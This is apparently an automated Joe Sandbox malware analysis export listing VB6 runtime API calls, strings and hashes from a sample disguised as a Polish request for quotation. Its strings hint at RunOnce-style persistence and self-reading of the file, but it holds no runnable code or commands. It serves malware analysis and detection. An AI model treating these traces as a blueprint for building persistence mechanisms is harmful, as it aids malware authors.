#600.MSVBVM60(00000008,00000000), ref: 0041EDE4
__vbaFreeStr.MSVBVM60 ref: 0041EDF3
__vbaFreeVar.MSVBVM60 ref: 0041EDFF

Part of subcall function 0041A980: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
Part of subcall function 0041A980: __vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
Part of subcall function 0041A980: __vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
Part of subcall function 0041A980: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
Part of subcall function 0041A980: __vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
Part of subcall function 0041A980: __vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
Part of subcall function 0041A980: #525.MSVBVM60(00000104), ref: 0041AA9C
Part of subcall function 0041A980: __vbaStrMove.MSVBVM60 ref: 0041AAA7
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
Part of subcall function 0041A980: __vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38

__vbaSetSystemError.MSVBVM60(00000014,00000000), ref: 0041EE2B
#598.MSVBVM60 ref: 0041EE38
#611.MSVBVM60(00000000), ref: 0041EE47
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0041EE77
#705.MSVBVM60(?,00000004), ref: 0041EE86
__vbaStrMove.MSVBVM60 ref: 0041EE94
__vbaStrCat.MSVBVM60(?,at ), ref: 0041EEB9
__vbaStrMove.MSVBVM60 ref: 0041EEC4
__vbaStrCat.MSVBVM60(004086A8,00000000), ref: 0041EED0
__vbaStrMove.MSVBVM60 ref: 0041EEDB
__vbaStrMove.MSVBVM60(00000000), ref: 0041EEEB
__vbaStrCat.MSVBVM60(00000000), ref: 0041EEF2
__vbaStrMove.MSVBVM60 ref: 0041EEFD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF0A
__vbaStrMove.MSVBVM60 ref: 0041EF15
__vbaStrCat.MSVBVM60("\\,00000000), ref: 0041EF21
__vbaStrMove.MSVBVM60 ref: 0041EF2C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF3A
__vbaStrMove.MSVBVM60 ref: 0041EF45
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF51
__vbaStrMove.MSVBVM60 ref: 0041EF5C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF6A
__vbaStrMove.MSVBVM60 ref: 0041EF78
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF84
__vbaStrMove.MSVBVM60 ref: 0041EF92
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF9F
__vbaStrMove.MSVBVM60 ref: 0041EFAD
__vbaStrCat.MSVBVM60(004095E4,00000000), ref: 0041EFB9
#600.MSVBVM60(00000008,00000000), ref: 0041EFD8
__vbaFreeStrList.MSVBVM60(0000000C,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041F022
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0041F042
__vbaOnError.MSVBVM60(000000FF), ref: 0041F076
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F099
__vbaSetSystemError.MSVBVM60(?), ref: 0041F0AF
__vbaExitProc.MSVBVM60 ref: 0041F0B5
__vbaFreeStr.MSVBVM60(0041F135), ref: 0041F12E

Strings

at , xrefs: 0041EEB0
"\\, xrefs: 0041EF1C
sc , xrefs: 0041ED3A, 0041EDA3

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Ansi$#600Chkstk$#537List$#525#598#606#611#616#661#705Construct2CopyExitProcUnicode
String ID: "\\$at $sc
API String ID: 318166071-2414866108
Opcode ID: 4b8c8b84d047fe4784aaf450267804eaefad0624f37f806294de8aa0bbb905cd
Instruction ID: eba9ca47820d788d97438d3d91098e027868d298501ab0f7648888b7b33149ee
Opcode Fuzzy Hash: 4b8c8b84d047fe4784aaf450267804eaefad0624f37f806294de8aa0bbb905cd
Instruction Fuzzy Hash: 01F12E71900248EFDB14DFA0DE49BDEBBB4FB48305F1081AAE506B72A0DB745A89CF54

Function 0040502A Relevance: 108.9, APIs: 55, Strings: 7, Instructions: 415COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040F89E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040F8E5

Part of subcall function 00429F50: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
Part of subcall function 00429F50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

__vbaStrCat.MSVBVM60( RO,00000000,80000002,00000000,Start,00000004,80000002,00000000,Start,00000002,80000001,00000000,00000000,00000000), ref: 0040F95B
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0040F966
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0040F980
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0040F98B

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000,?,?,?,00000000,Function_000032B6), ref: 0040F9A6
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,Function_000032B6), ref: 0040F9C2
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040F9CD
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,Function_000032B6), ref: 0040F9E6
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040F9F1
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,Function_000032B6), ref: 0040FA0C

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040FA7B
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040FAA3
__vbaStrMove.MSVBVM60 ref: 0040FAAE
__vbaFreeStr.MSVBVM60(00000000), ref: 0040FABD
__vbaCastObj.MSVBVM60(00000000,004077C4), ref: 0040FAD1
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0040FADC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040FB0F
__vbaFreeObj.MSVBVM60 ref: 0040FB2A
__vbaNew.MSVBVM60(004075DC), ref: 0040FB3C
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FB47
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040FB7A
__vbaFreeObj.MSVBVM60 ref: 0040FB95
__vbaStrCopy.MSVBVM60 ref: 0040FBC0
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040FBDA
__vbaStrCat.MSVBVM60(00000000), ref: 0040FBE1
#529.MSVBVM60(00000008), ref: 0040FBF5

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D076537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

Strings

MR, xrefs: 0040FA9E
at , xrefs: 0040FC6F
, xrefs: 0040FEAD
Once, xrefs: 0040F97B, 0040F9E1
O, xrefs: 0040502A
Start, xrefs: 0040F914, 0040F933
RO, xrefs: 0040F956, 0040F9BD

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$Copy$Error$ChkstkSystem$AnsiBstrUnicode$List$File$#525#529#570#580#648CheckHresultOpen$#616CastGet3Get4Seek
String ID: $ MR$ RO$O$Once$Start$at
API String ID: 3212910503-2307593978
Opcode ID: d7c645850be29222d1b7267b5b78ad533bfe0a9cf40cb1f2a83c7e80c5fd35d6
Instruction ID: 65a71e158419679981a83cfad656d767fba14ec0aa04879cc95e73d8581266b7
Opcode Fuzzy Hash: d7c645850be29222d1b7267b5b78ad533bfe0a9cf40cb1f2a83c7e80c5fd35d6
Instruction Fuzzy Hash: 8F020D75A00208EFDB14DFA0DE89BDE77B4FB48304F508169E505B72A1DB74AA45CF68

Function 00429830 Relevance: 105.3, APIs: 57, Strings: 3, Instructions: 320COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CB91,00000000), ref: 0042984E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042987B
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042988A
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,00000000,004032B6), ref: 004298A3
__vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 004298AE
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,?,00000000,004032B6), ref: 004298C7
__vbaStrMove.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 004298D2
__vbaStrToAnsi.MSVBVM60(?,?,00000000,000F003F,?,?,?,?,?,?,00000000,004032B6), ref: 004298F2
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,?,00000000,004032B6), ref: 00429906
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,00000000,004032B6), ref: 00429914
__vbaFreeStr.MSVBVM60 ref: 0042992C
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00429962
__vbaSetSystemError.MSVBVM60(80000002,00000000), ref: 00429973
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429981
__vbaFreeStr.MSVBVM60 ref: 0042998A
__vbaStrMove.MSVBVM60(?), ref: 004299B3
__vbaLenBstr.MSVBVM60(?), ref: 004299CA
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 004299D9
__vbaStrMove.MSVBVM60(00000000,00000001,00000000), ref: 004299EA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004299F5
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00429A05
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429A13
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00429A2F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A47
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,00000000,004032B6), ref: 00429A58
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A66
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429A6F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A84
__vbaSetSystemError.MSVBVM60(80000001,00000000,?,?,?,?,00000000,004032B6), ref: 00429A95
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429AA3
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429AAC
__vbaStrCopy.MSVBVM60 ref: 0042999F

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00429ADB
__vbaSetSystemError.MSVBVM60(80000002,00000000), ref: 00429AEC
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429AFA
__vbaFreeStr.MSVBVM60 ref: 00429B03
__vbaStrCopy.MSVBVM60 ref: 00429B18
__vbaStrMove.MSVBVM60(?), ref: 00429B2C
__vbaLenBstr.MSVBVM60(?), ref: 00429B43
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 00429B52
__vbaStrMove.MSVBVM60(00000000,00000001,00000000), ref: 00429B63
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00429B6E
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00429B7E
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429B8C
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00429BA8
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429BC0
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,00000000,004032B6), ref: 00429BD1
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429BDF
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429BE8
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429C3B
__vbaFreeStr.MSVBVM60(00429C84,?,?,?,?,00000000,004032B6), ref: 00429C6B
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429C74
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429C7D

Strings

MGG, xrefs: 00429997
MGG, xrefs: 00429B10
X1@, xrefs: 004298C1

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$AnsiError$System$MoveUnicode$BstrCopy$#516#631List$Chkstk
String ID: MGG$MGG$X1@
API String ID: 3619963569-3990769864
Opcode ID: 940beab17d9b24f9990cadcffc4ef0ae816e00d13d285cc8866c0fad8e1e78f3
Instruction ID: cadc88f3378a5b8a7e488d7ed3a86a3d9527093b9cfaa094389870ae1251132b
Opcode Fuzzy Hash: 940beab17d9b24f9990cadcffc4ef0ae816e00d13d285cc8866c0fad8e1e78f3
Instruction Fuzzy Hash: 93D1ABB1900109EFDB04EFE0EE99EDEBB79EF48305F108169F602B6160DB756945CB64

Function 004214E0 Relevance: 103.8, APIs: 69, Instructions: 297COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000), ref: 0042153E
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00421546
__vbaOnError.MSVBVM60(00000001,?,00000000), ref: 0042154A
#648.MSVBVM60(0000000A,?,00000000), ref: 00421562
__vbaFreeVar.MSVBVM60(?,00000000), ref: 00421571
__vbaI2I4.MSVBVM60(?,?,00000000), ref: 00421583
__vbaFileOpen.MSVBVM60(00000020,000000FF,00000000,?,00000000), ref: 0042158A
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421592
#570.MSVBVM60(00000000,?,00000000), ref: 00421595
__vbaLenBstr.MSVBVM60(Function_0000545C,?,00000000), ref: 004215A2
__vbaLenBstr.MSVBVM60(Function_0000545C,?,00000000), ref: 004215C7
#525.MSVBVM60(00000000,?,00000000), ref: 004215CE
__vbaStrMove.MSVBVM60(?,00000000), ref: 004215D9
__vbaI2I4.MSVBVM60(?,00000000), ref: 004215E1
__vbaFileSeek.MSVBVM60(00000000,00000000,?,00000000), ref: 004215E5
__vbaI2I4.MSVBVM60(?,00000000), ref: 004215ED
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 004215F6
__vbaStrMove.MSVBVM60(?,00000000,?,00000000), ref: 0042162F
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 00421632
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 0042164F
__vbaI2I4.MSVBVM60(?,00000000), ref: 004217B1
__vbaFileClose.MSVBVM60(00000000,?,00000000), ref: 004217BA
__vbaI2I4.MSVBVM60(?,00000000), ref: 004217BE
__vbaPut3.MSVBVM60(00000004,?,00000000,?,00000000), ref: 004217C7
__vbaStrCopy.MSVBVM60(?,00000000), ref: 004217D5

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0042161E

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrCopy.MSVBVM60(?,00000000), ref: 00421604

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
